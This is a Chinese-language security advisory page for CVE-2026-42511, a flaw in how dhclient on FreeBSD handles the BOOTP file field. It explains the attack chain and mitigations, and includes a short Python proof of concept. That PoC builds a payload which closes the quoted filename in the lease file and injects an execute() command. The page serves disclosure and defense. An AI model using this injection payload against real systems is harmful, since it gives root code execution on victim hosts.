IPBUF安全漏洞报告
English
CVE-2026-42511 CVSS 8.1 高危

CVE-2026-42511 dhclient BOOTP文件字段注入导致远程代码执行

披露日期: 2026-04-30

漏洞信息

漏洞编号
CVE-2026-42511
漏洞类型
代码注入
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ISC dhclient (FreeBSD)

相关标签

RCE代码注入DHCPBOOTPFreeBSDdhclient配置注入

漏洞概述

ISC dhclient在处理BOOTP响应的文件字段时存在输入验证缺失漏洞。程序在将此字段写入租约文件时未对双引号进行转义,允许攻击者通过恶意DHCP服务器注入任意dhclient.conf配置指令。当系统重启或dhclient重新加载租约文件时,恶意配置将被dhclient-script执行,从而在目标系统上以root权限实现任意代码执行。

技术细节

该漏洞的核心在于dhclient对BOOTP协议中“file”字段的处理逻辑存在缺陷。当客户端向DHCP服务器请求IP时,攻击者控制的恶意服务器在响应包的file字段中构造包含引号和换行符的特殊字符串。由于缺乏转义机制,该字符串在写入dhclient.leases文件时会破坏原有的配置语法结构。攻击者利用这一点注入类似`execute("command")`的恶意指令。一旦网络服务重启或系统重启,dhclient重新读取并解析被污染的租约文件,将这些指令当作合法配置传递给dhclient-shell脚本执行,导致系统被完全控制。

攻击链分析

STEP 1
1. 网络侦测
攻击者在目标网络所在的局域网内接入,或通过网络劫持手段定位到使用DHCP自动获取IP的FreeBSD系统。
STEP 2
2. 恶意DHCP响应
攻击者搭建恶意的DHCP服务器,等待受害者发起DHCP请求(如DISCOVER或REQUEST)。在响应的BOOTP包中,将'file'字段或Bootfile Name选项填充为特制的注入Payload。
STEP 3
3. 注入租约文件
受害者的dhclient接收响应,未经过滤直接将包含双引号和指令的Payload写入本地的dhclient.leases租约文件中。
STEP 4
4. 触发解析
当受害系统重启、网络服务重启或dhclient定时重新读取配置时,程序会重新解析租约文件。
STEP 5
5. 代码执行
解析引擎将注入的Payload识别为合法的dhclient.conf指令(如execute),并调用dhclient-script执行其中的系统命令,导致攻击者获得root权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import binascii # Proof of Concept for CVE-2026-42511 # This demonstrates how to craft a malicious DHCP option 67 (Bootfile Name) # to inject commands into the dhclient lease file. # normally the bootfile is quoted in the lease file, e.g.: # filename "bootfile"; # By injecting a double quote, we close the string and can add new directives. # Payload intends to execute a shell command when dhclient parses the lease. # Malicious payload: # 1. Close the existing quote: " # 2. Add a newline to start a new directive (represented as hex in packet) # 3. Inject an 'execute' directive with a malicious command # Example command: touch /tmp/pwned malicious_command = "touch /tmp/pwned" # Constructing the payload string that will go into the DHCP packet's file field # We use hex representation for clarity in packet crafting # Payload: "; execute("touch /tmp/pwned"); # # This breaks out of the filename string, adds an execute call, and comments the rest. payload = '"; execute("' + malicious_command + '"); #' print(f"[*] Generated Payload for BOOTP File Field:") print(f"{payload}") print(f"[*] Hex representation:") print(binascii.hexlify(payload.encode('utf-8')).decode('utf-8')) # Note: To test this, one would need to set up a rogue DHCP server (e.g., using dnsmasq or scapy) # and respond to a victim DHCP request with this payload in the 'file' field (Option 67 or bootfile field).

影响范围

FreeBSD (参考FreeBSD-SA-26:12公告影响范围)
ISC dhclient

防御指南

临时缓解措施
在无法立即升级系统的情况下,建议在网络设备层实施严格的端口安全策略和DHCP Snooping,仅允许信任的DHCP服务器响应请求。此外,对于高价值服务器,应暂时关闭DHCP客户端服务并手动配置网络参数,以规避该漏洞被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表